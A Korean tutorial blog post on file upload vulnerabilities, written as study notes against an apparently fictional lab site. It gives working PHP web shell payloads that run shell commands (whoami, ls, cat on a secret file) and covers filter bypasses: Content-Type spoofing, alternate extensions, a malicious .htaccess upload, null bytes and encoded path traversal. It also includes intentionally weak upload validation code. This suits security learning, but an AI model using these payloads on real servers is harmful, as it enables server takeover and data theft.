Learning Web/2024~2025 Web Hacking

[Web Hacking] File Upload 취약점

naiLED 2025. 2. 9. 20:28
      

File Upload 취약점

 

정의

공격자가 원하는 임의의 파일을 업로드할 수 있는 공격.

 

발생 원인

파일을 업로드 할 때 검증 및 검사를 하지 않는 것.

 

발생 위치

파일을 업로드할 수 있는 곳

 

어떤 방식으로 공격이 가능할까?

피싱, deface 공격(index 파일 덮어쓰기), stored XSS 등등.. 파일 업로드를 통해서 이루어질 수 있는 공격 방식은 여러 가지를 떠올려볼 수 있으나, 통상적으로 file upload vulnerabilities 라고 함은 주로 Web Shell, 즉 서버 측 실행 파일을 업로드하여 피해자의 서버를 장악하는 것을 지칭하며, 앞으로도 이 부분에 대해서 중점적으로 다뤄볼 것입니다.

 

먼저 이해해야 할 것  1 : MIME type

 

우선 MIME (Multipurpose Internet Mail Extensions) 에 대한 아주 자세한 내용은 다음 블로그를 참고하면 됩니다.

참고 추천 블로그 : MIME type은 뭐고, Content-type은 뭔데?

 

오늘 포스팅에서는 필요한 내용만 간단하게 짚고 넘어가겠습니다.

 

MIME type는 쉽게 말해서 파일 형식을 식별하는 표준 방식 입니다.

보통 type/subtype의 구조로 되어 있습니다. 예를 들면,

 

text/xml
text/csv
text/plain
application/zip
application/xml
application/pdf
image/png
등등등...

 

예를 들어 text/xml 이라면, text라는 카테고리에 xml이 있다는 뜻입니다. 참고로 xml은 application이라는 카테고리에도 들어있네요. text 문서로 해석할 것인지, application에서 처리하는 데이터로 해석할 것인지에 따라 다릅니다. 이처럼 주요 타입이 여러가지인 경우도 있습니다.

 

Linux의 쉘 (명령 프롬프트)에 다음과 같은 명령어가 있습니다.

 

xdg-mime

 

이는 특정 파일의 MIME 타입을 확인하거나, 특정 파일 확장자를 특정 프로그램과 연결할 수 있습니다. 이걸로 간단하게 MIME 타입을 확인해볼까요?

 

xdg-mime query filetype mypicture.png

 

그러면 다음과 같이 출력됩니다.

 

image/png

 

이번에는 mypicture.png의 파일명을 변경해봅시다.

 

mv mypicture.png file.zip 
xdg-mime query filetype file.zip

 

여기서 'mv' 는 파일을 이동하거나 이름을 변경하는 명령어입니다. mv 명령어로 mypicture.png의 파일 이름을 file.zip으로 변경한 것입니다. 그 다음 file.zip의 mime type을 확인하면 어떻게 될까요?

 

application/zip

 

흠.. zip으로 인식하네요. 이렇게 쉽게 이름만 바꿔도 파일이 변조되는걸까요? 이제 다음 명령어를 입력해봅시다.

 

file --mime-type file.zip

 

file 명령어 역시 파일의 mime type을 판별하는데 쓰일 수 있는 명령어입니다. 결과를 볼까요?

 

file.zip: image/png

 

네, 사실은 이미지 파일인게 들통났네요. 왜 이런 결과가 생긴 걸까요?

 

xdg-mime은 파일 확장자(파일 이름)을 기반으로 MIME type을 판별합니다. 하지만 file 명령어는 파일의 "Magic Number" (파일의 첫 몇 바이트)를 기반으로 MIME 타입을 결정합니다. 단순히 파일 확장자를 변경하는 것 만으로는 파일의 MIME type이 변경되지 않습니다.

 

참고로, Magic Number를 File Signature라고 부르기도 합니다. 통상적으로는 같은 의미로 쓰여서 크게 신경쓸 부분은 아니지만, 엄밀히 말하면 Magic Number는 파일의 "첫 몇 바이트"에 위치한 고유한 식별 값이고 File signature는 magic number를 포함하는 넓은 개념을 뜻합니다. 대표적인 예로, MP3 파일은 시작 부분이 아니라 중간 부분에 File signiture가 위치할 수 있습니다.

 

먼저 이해해야 할 것  2 : Content-type

이제 burp suite을 켜고 아무 이미지 파일을 업로드해봅시다. 그리고 request를 확인해보면,

Content-Type 항목 뒤에 Image/png 라고 MIME type을 보여주고 있습니다.

 

Content-TypeHTTP 응답 헤더에서 사용되는 MIME Type 입니다.

 

Content-type과 MIME Type과의 중요한 차이점이 있다면, MIME Type은  "파일의 실제 형식"을 의미하기 때문에 "확장자와 무관하고, Magic Number에 기반"하지만, Content-type은 "HTTP에서 데이터의 타입을 명시하는 헤더"로서,"파일의 실제 내용이 아니라 확장자나 서버 설정에 따라 MIME 타입이 결정되는 경우가 많다"는 것입니다.

 

물론 웹 서버가 Magic Number 검사를 할 수도 있지만, 모든 파일 요청마다 일일이 이 검사를 수행한다면 웹사이트의 성능이 떨어진다거나, 일부 웹 브라우저의 경우 서버가 제공하는 Content-Type을 신뢰하고 그대로 사용하기 때문에 사실상 보안 효과가 제한되는 등, 현실적인 문제들이 많습니다. 따라서 금융, 정부 기관과 같은 고보안 환경이 아니라면 통상적으로는 Content-type을 다른 확장자로 변조했을때 곧이곧대로 받아들이기 마련입니다.

 

 

파일 업로드 공격의 핵심 2가지

 

파일 업로드 공격(웹쉘 공격)의 핵심은 다음 두 가지입니다.

 

1. 웹 서버 측 실행 코드(PHP, python...)를 찾는 것 (+업로드하는 것)
2. 업로드된 파일의 경로를 찾는 것

 

왜 이 두 가지가 핵심인지는 차근차근 해보면 비로소 이해할 수 있습니다. 일단은 이게 핵심이라니까 먼저 하나씩 살펴볼까요?

 

1. 웹 서버 측 실행 코드를 어떻게 알 수 있을까?

 

여러 가지 방법이 있습니다만, 기본적인 방법 두 가지만 시도해봅시다.

 

1) Server HTTP 헤더 분석

burp에서 서버의 HTTP 응답을 살펴보면,

 

 

X-Powered-By 라는 헤더가 노출되어있는 경우가 있습니다. 이 헤더는 대놓고 무슨 언어로 개발되었는지를 드러내주고 있습니다.

X-Powered-By : PHP/8.0.2  # 오..php구나
X-Powered-By: Express  # 아..express.js구나

 

따라서 웹 서버 설정에서 X-Powered_By 헤더를 비활성화하는 것이 보안상 안전하겠죠. 실제로도 대다수 웹사이트가 해당 헤더를 감춥니다.

 

또 한가지, HTTP 응답을 다시 한번 살펴봅시다.

이처럼 Server 헤더가 노출되어 있어, 해당 웹사이트 서버가 Apache로 실행되는 것을 알 수 있습니다.

 

Apache는 여러 언어(PHP, python, Ruby, Perl등)을 실행할 수 있지만, 기본적으로 PHP와 함께 가장 많이 사용됩니다. 따라서 높은 확률로 php일 것이라고 추측할 수 있게 됩니다. 이 역시 server 헤더를 감춰서 보안 수준을 높일 수 있겠습니다.

 

 

2) 오류 메시지 분석

예를 들어 주소창에 http://nailed.com/index.php 를 넣어보면,

화면에 무언가 출력됩니다.

그러나, 다음과 같이 http://nailed.com/main.py 를 입력해본다면,

위와 같은 에러 메시지가 출력됩니다. 이런 방식으로 여러 가지 언어를 살펴보면서 추측해볼 수도 있겠네요.

 

 

2. 업로드된 파일의 경로를 어떻게 찾을 수 있을까?

 

웹쉘 공격의 두 번째 핵심입니다. 파일 경로를 어떻게 찾을 수 있을까요? 우선 웹사이트에 아무 이미지 파일이나 올리고 나서 살펴봅시다.

 

올린 이미지 파일이 다시 출력되는 곳을 찾습니다. 그 곳에서 링크를 얻을 수 있는데, 예를 들어 해당 이미지를 새 탭에서 열어볼까요?

 

 

그리고 주소창을 확인해봅니다.

http://nailed.com/forum/files/image.png

라고 쓰인 것으로 보아, /forum/files/에 image.png가 저장되고 있음을 알 수 있습니다.

 

아주 쉬워보이지만, 실제로는 파일 경로를 매우 꼼꼼하게 숨겨놓기 때문에 알아내는 것이 그리 녹록치 않습니다. 아무튼 target website에서 두 가지 핵심 정보를 알아냈으니, 다음 단계로 넘어가겠습니다.

 

 

Case 1 : 아무것도 필터링하지 않음

이제 본격적인 원리를 이해하기 위해 최하 난이도의 웹사이트를 해킹해봅시다.

 

웹사이트 : http://nailed.com
목표 : home/nailed/secret 의 내용을 알아내라.

 

우리는 앞서 두 가지 정보를 알아냈습니다.

 

1. http://nailed.com은 php 기반으로 만들어졌다.

2. http://nailed.com에서 파일을 저장하면, '/forum/files/'에 저장된다. 

 

어떤 파일을 업로드해야 target server에서 내가 원하는 정보를 얻어낼 수 있을까요? 서버를 시켜먹으려면, 우선은 제 말을 알아들어야 하니까 php 언어로 파일을 작성해야 하겠습니다. 그리고 php에는 file_get_contents() 라는 함수가 있습니다. 파일을 읽는 기본적인 함수 중 하나로, 파일의 내용을 문자열로 반환하며, 로컬 파일 뿐만 아니라 웹 URL도 읽을 수 있습니다.이걸 이용해서 다음과 같은 payload를 작성해볼 수 있습니다.

 

<?php file_get_contents('/home/nailed/secret');
?>

 

만약 이 코드를 target server가 그대로 실행시켜준다면 목표하는 정보를 받아볼 수 있을까요? 불행히도 아닙니다. 실행은 되지만, 그 내용을 두 눈으로 볼 수 없기 때문입니다. 직접 해당 함수의 result를 받아보려면, echo를 이용해서 화면에 출력시켜야 합니다. echo는 단순 문자열을 출력해주는 것이 아니라, 내용을 실행해서 출력해주기 때문에 이게 가능합니다.

 

<?php echo file_get_contents('/home/nailed/secret');?>

 

이제 해당 payload를 'virus.php'에 저장해서 upload 해봅니다.

 

그런데 만약 업로드가 됐다면? 해당 웹사이트는 extension(파일 확장자) 또는 content-type을 전혀 필터링하고 있지 않는 것 같습니다.

 

아무튼 잘됐습니다. 이제 우리는 이미 알고 있는 업로드된 위치로 찾아가서, 서버에게 "virus.php 내놔" 하기만 하면 됩니다. 그러면 서버가 저장된 virus.php를 불러오다가, 어라? 이거 .php네? 하면서 얌전히 파일을 읽은 다음 우리에게 결과물을 선사할 것입니다.

 

 

 

같은 문제를 다른 방식으로 풀어봅시다.

이번에는 burp로 다음과 같이 request를 수정합니다.

filename="virus1.php"
//그리고 파일 내용도 수정 
<?php passthru($_GET['backdoor']);?>

 

이게 무슨 뜻인지 해석하기에 앞서 passthru() 란, PHP에서 시스템 명령어를 실행하고 그 결과를 그대로 출력하는 함수입니다. 예를 들어 이런 식입니다.

<?php
passthru("ls -al");
?>
---------웹 브라우저 실행 결과--------
total 12
drwxr-xr-x  2 www-data www-data 4096 Feb 10 12:00 .
drwxr-xr-x  3 www-data www-data 4096 Feb 10 11:59 ..
-rw-r--r--  1 www-data www-data   12 Feb 10 12:00 test.txt

 

이처럼 PHP에서 passthru()를 사용하면 서버의 쉘 명령어를 실행할 수 있습니다(!) 비슷한 명령 실행 함수로는, system(), exec(), shell_exec() 등이 있습니다. 이 중 exec()과 shell_exec()은 명령을 실행하긴 하지만 출력하지 않는 특징이 있습니다. 반면 passthru()와 system()은 명령을 실행하고 나서 출력도 해주기에 사용하기 좋습니다. 물론 이외에도 result 반환 방식 등에서 차이가 있지만, 당장은 중요하지 않으니 넘어갑시다.

 

다시 아까 작성한 payload로 돌아가 봅시다.

<?php 
 passthru($GET['backdoor']);
?>

 

이건 무엇을 의미할까요? 만약에 이 파일을 서버가 그대로 실행한다고 상상해봅시다. "오, php 파일이네?" 하고 뚜껑을 까보니passthru($_GET['backdoor']); 를 실행하라고 써있는 겁니다. 즉, 사용자가 입력한 값을 변수 $_GET['backdoor']에서 가져오고, 그 가져온 값을 passthru()함수에 전달해서 시스템 명령어로 실행하라는 뜻입니다. 당연하게도, 여기서 backdoor라는 단어는 제가 임의로 정한 것이니 cmd라던지, hello라던지... 어떤 것이든 상관 없겠습니다.

 

이제 우리는 virus1.php가 저장된 경로에 'backdoor'라는 GET방식의 파라미터에 원하는 '쉘 명령어'를 입력해서 전달하면 되는것입니다.예를 들면 이렇게요.

http://nailed.com/forum/files/virus1.php?backdoor=whoami

 

해당 url로 이동하면, 서버는 다음과 같은 php 코드를 실행하게 됩니다 :

passthru(”whoami”);

 

따라서 서버에서 whoami 명령어를 실행한 결과가 화면에 즉시 출력됩니다.

HTTP/1.1 200 OK
Content-Type: text/html

www-data

 

이제 원격으로 서버에 직접 임의의 명령어를 실행할 수 있게 되었습니다. 앞으로는 쉘 명령어를 잘 찾아서 사용하는 단계만 남았습니다. 여러 가지가 있겠지만, 대표적으로는 ls 라는 명령어가 있습니다. 이는 해당 디렉토리에 있는 파일 목록을 보여주는 명령어입니다. 이걸 한 번 이용해보면,

 

http://nailed.com/forum/files/virus1.php?backdoor=ls

 

enter를 눌러 해당 디렉토리로 이동하면, 출력값이 나옵니다.

 

image.png virus.php virus1.png

 

시스템 명령어를 잘 실행하고 있군요. 이제는 우리의 목표를 실행시킬 차례입니다. 시스템 명령어 중 cat 이라는 명령어가 있습니다. 이는 파일 내용을 출력하는 명령어입니다. 예컨대 cat hello.txt라고 쓰면, hello.txt의 '내용'을 그대로 출력해주는 것입니다. 이걸 한 번 이용해봅시다.

 

http://nailed.com/forum/files/virus1.php?backdoor=cat /home/nailed/secret

 

cat 뒤에 있는 '공백'은 보통 알아서 '%20'로 url 인코딩되며, 직접 인코딩 값을 입력해도 상관 없습니다. 아무튼 해당 url로 이동하면, 서버는 passthru("cat /home/nailed/secret") 을 실행시키며,

결과가 잘 출력되네요.

 

 

 

Case 2 : Content-type 또는 Extension 필터링

2-1. Contet-type 필터링

이번에도 똑같이 virus.php를 업로드했는데, 어라.

Sorry, file type application/x-php is not allowed.

 

이건 아마도 특정 content-type을 필터링하고 있는 것 같습니다. 만약 정상적으로 php 파일이 실행된다면 content-type:text/html이 반환될텐데, 이렇게 실행되지 않고 다운로드되거나 차단되면 application/x-php로 표시되는 경우도 있습니다.

 

이런 상황에서 어떤 content-type이 정상적으로 업로드되는지를 burp suite으로 계속 시험해볼 수 있습니다. 만약에 우리가 소스코드를 볼 수만 있다면 이런 식으로 필터링하고 있을 수 있겠습니다.

contents type이 image/jpeg 아니면 업로드가 안되도록 한다던가.

 

아무튼 몇 가지 시험해보니까,

image/png로 바꿔서 send 해보니, response에서 업로드에 성공했다고 뜹니다. 과연 실행도 될까 싶어 확인해보니?

단순히 Content-Type을 변조한 것만으로도 (허망하게..) 해킹이 가능했습니다.

 

 

2-2. File extension 필터링

한편 file extension(파일 확장자)를 필터링하는 경우도 있는데, 따로 구분해서 알아둬야 합니다.

Sorry, php files are not allowed

 

예를 들면 '.php' 를 차단하는 것이죠. 

 

참고로 .php, .exe 등등... 차단 목록을 하나하나 정하는 것을 blacklisting 이라고 합니다. (반대로 허용할 것들의 목록을 정하는 것은 whitelisting) 이때 꼭 명심할 것이 있습니다. 바로 블랙리스트는 언제나 많은걸 허용하고 있다는 점니다. 리스트 이외에는 전부 허용하고 있기 때문에, 블랙리스트 방식은 거의 항상 위험성이 존재합니다. 그러나 시간 및 자원의 제약으로 인해, 블랙리스트 방식이 여전히 많이 사용되는 것 또한 현실입니다.

 

그렇다면 우리가 해야 할 것은 무엇일까요?

블랙리스트의 허점을 이용해 file extension 우회 기법을 찾는것입니다.

 

몇 가지 예를 들어봅시다.

 

1) 대소문자 우회 :   .PhP, .pHp...

통상적으로 php의 strtolower() 등의 함수를 사용해서, 확장자를 소문자로 변환 후 비교해야 안전합니다. 그러나 만약 개발자가 그렇게 코딩하지 않았다면? 예를 들어 소스코드가 다음과 같다면,

 

<?php
$file_name = $_FILES["file"]["name"];
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

if ($file_ext === "php") {  // 대소문자 구분 O (취약)
    die("PHP 파일 업로드 금지!");
}

move_uploaded_file($_FILES["file"]["tmp_name"], "uploads/" . $file_name);
?>

 

PHP의 pathinfo() 함수는 대소문자를 구분하는 문자열 비교(===)를 수행합니다. 이런 경우 .php만 차단하고 pHp, pHP 등을 허용할 수 있습니다.

 

2) 변형 확장자 우회 :   .phtml, .php3, .php4...

일부 서버는 Apache 설정상 변형된 확장자를 PHP로 실행할 수 있도록 설정되어 있습니다. Apache 파일을 살펴봤을 때,

AddType application/x-httpd-php .php .php3 .php4 .phtml

 

이런 식으로 설정이 되어있다면, .phtml, .php3, .php4 같은 자매품들도 실행이 될 수 있습니다. 최신 버전에서는 당연히 막혀있지만, 일부 Apache 환경에서 기본적으로 설정되었을 수도 있고, 특히 과거에는 널리 사용되었습니다.

 

언어마다 이런 자매품들이 있다

 

3) Apache 설정 파일 (.htaccess)을 이용한 우회

 

Apache 웹 서버에서는 통상적으로 설정을 httpd.conf에서 전역적으로 관리하지만, .htaccess(Hypertext Access)는 특정 폴더(디렉토리)에만 적용되는 로컬 구성 파일(Local Configuration File)입니다. 즉, httpd.conf를 수정하지 않고도 개별 사이트 또는 특정 폴더별로 설정을 변경할 수 있는 파일입니다.

 

이걸 이용해서 apache 설정을 수정할 수 있고, 특정 파일 확장자를 php로 해석하도록 내 맘대로 수정할 수도 있습니다. 예를 들어 burp suite으로 request를 변조할 때, file name과 content를 다음과 같이 수정한다고 가정합시다.

 

filename=".htaccess"
Content-Type: text/plain 

AddType application/x-httpd-php .kratos

 

여기서 AddType 어쩌고~ 부분은 프로그래밍 언어가 아니라, Apache의 설정 언어(Configuration Language)입니다. AddType은 특정 확장자의 MIME 타입을 설정할 때 사용하며, 다음과 같은 구조를 갖고 있습니다.

 

AddType <MIME type> <파일 확장자>
ex 1) AddType image/jpeg .jpg .jpeg  ---> .jpg .jpeg를 image/jpeg로 처리하세요.
ex 2) AddType text/plain .txt ---> .txt를 text/plain으로 처리하세요.

 

따라서,

AddType application/x-httpd-php .kratos ---> .kratos를 x-httpd-php로 처리하세요.

라는 의미가 됩니다.

 

여기서 x-httpd-php는 Apache에서만 사용되는 MIME type으로, 해석하면

 

x : 비표준(Non-standard) 또는 확장(Extension) MIME type 임.

httpd : http daemon, 즉 웹 서버(Apache, Nginx등)에서 실행됨.

php : php 스크립트 파일을 의미

 

즉 '웹 서버(Apache)에서 실행되는 PHP 스크립트 파일' 이며, 종합하면 ".kratos는 php 스크립트 파일이니까 서버가 읽어라~" 라는 뜻이 됩니다.

 

참고로 content-type은 꼭 text/plain일 필요는 없지만 도움이 됩니다. 통상적으로 잘 차단하지 않는 타입이기도 하고, 정상적인 .htaccess 파일로 저장될 가능성이 높습니다.

 

만약 .htaccess가 서버에 성공적으로 저장되었다면, 이제 한번 더 request를 보냅니다. 아까 했던 것처럼 passthru를 이용한 payload를 담아서요.

<?php 
 passthru($GET['backdoor']);
?>

 

다만 이번에는 당당하게 파일 이름을 적을 수 있겠죠.

 

이제 웹 주소에서 virus.kratos가 저장된 위치로 이동하고, backdoor 파라미터로 원하는 쉘 명령어를 전달하면 성공입니다.

 

+) Null byte injection 우회 방식 : webshell.php%00.jpg

 

그렇다면 Whitelist 방식이라고 해서 우회가 불가능할까요? 예를 들어, .jpg, .png, .gif 등의 확장자만 허용하는 겁니다. 당연히 그런 경우에도 취약점이 발생할 수 있는데 대표적으로 Null byte injection이 있습니다. Null Byte(%00)란, C언어와 같은 저수준 언어에서 문자열의 끝을 나타내는 특별한 문자(종료 문자, Null Terminator)입니다. 만약 다음과 같은 php 코드가 있다고 가정합시다.

 

<?php
$filename = $_FILES["file"]["name"];
$file_ext = pathinfo($filename, PATHINFO_EXTENSION);

// .jpg, .png, .gif 만 허용하는 필터
if (!in_array($file_ext, ["jpg", "png", "gif"])) {
    die("Invalid file type.");
}

move_uploaded_file($_FILES["file"]["tmp_name"], "uploads/" . $filename);
?>

 

filename=webshell.php%00.jpg 를 업로드 하면 어떻게 될까요? pathinfo()는 문자열 뒤에서부터 확장자 판단을 하기 때문에 .jpg로 인식하고, "음~ 너 통과." 하게 됩니다. 그러나, 막상 이 파일을 실제로 저장할 때는 NULL 바이트(%00) 이후의 문자열이 무시될 수 있습니다. 즉, uploads/webshell.php로 저장될 가능성이 있습니다.

 

왜 그럴까요? PHP와 Apache 등등.. C 언어로 작성된 프로그램은 내부적으로 C 기반의 문자열 처리 방식을 따르기 때문입니다.

 

PHP 5.3.4 이전 버전에서는 이같은 NULL Byte가 유효했기 때문에 확장자 필터링을 우회할 수 있었습니다만, 이후 버전에서는 기본적으로 NULL Byte Injection이 차단되었습니다. 아무튼 한 번쯤 시도해볼만한 가치는 있겠죠.

 

 

 

Case 3 : Path Traversal(경로 탐색)

 

이건 간단하니 개념만 짚고 넘어가겠습니다.

 

예를 들어 php 파일 업로드 까지는 했는데, 그저 컨텐츠가 화면에 그대로 출력될 뿐 실행되지 않았다고 합시다. 즉, 업로드한 php 파일이 text file로서 그저 화면에 보이기만 할 뿐 execute 되지는 않는 상황입니다.

 

이건 해당 파일이 저장되는 directory를 막아둔 것일 수 있습니다. 예를 들어 files/nailed/virus.php 에 저장했는데, files/nailed 폴더 안에서는 출력만 되고 실행은 하지 못하도록 막아둔 것이죠.

payload를 화면에 그대로 출력하고 있는 모습

 

이런 경우 어떻게 하면 될까요? 어쩌면 해당 directory를 벗어나 다른 곳에 저장하면 괜찮지 않을까요? 그래서 파일 이름에 '../'을 넣어서 상위 단계 directory에 저장해보는 겁니다.

 

여기서 한 가지 참고로 알아두면 좋은 것이 바로 파일 경로의 상대 경로와 절대 경로 입니다. 블로그 링크 남겨둡니다.

참고 추천 블로그 : 파일경로 : 상대경로와 절대경로

 

" ../ " 는 현재 위치에서(상대적으로)1개 디렉토리 앞으로 이동하는 연산자입니다. 따라서 파일 이름을 "../virus.php" 라고 저장한 뒤 해당 파일을 url에 입력하면 다음과 같은 형태가 됩니다.

 

http://files/nailed/../virus.php
 

그러면 files에 저장되는 것을 기대해볼 수 있겠죠. 만약 디렉토리 이동에 실패했다. 상위 단계에 저장하는 것에 실패했다면, " ../ "가 막힌 것입니다. 이런 경우 섣불리 포기하지 말고 우선 " ../ " 부분을 encode 해볼 수 있겠습니다.

 

burp에서 인코딩이 필요한 부분을 드래그-우클릭 후 convert selection → URL → URL-encode all characters

 

그러자, " ../ " → "%2e%2e%2f " 로 바뀌었습니다. 이제 이걸 다시 파일 이름에 넣어 저장해봅시다.

 

http://files/nailed/%2e%2e%2f/virus.php

 

그러자 files에 저장되었고, 이제 해당 directory( files/ )에서 필요한 shell 명령어를 수행하면 되겠습니다.

 

이렇게 파일 업로드 취약점을 이용하기 위한 몇 가지 대표적인 우회 기법들을 정리해보았습니다.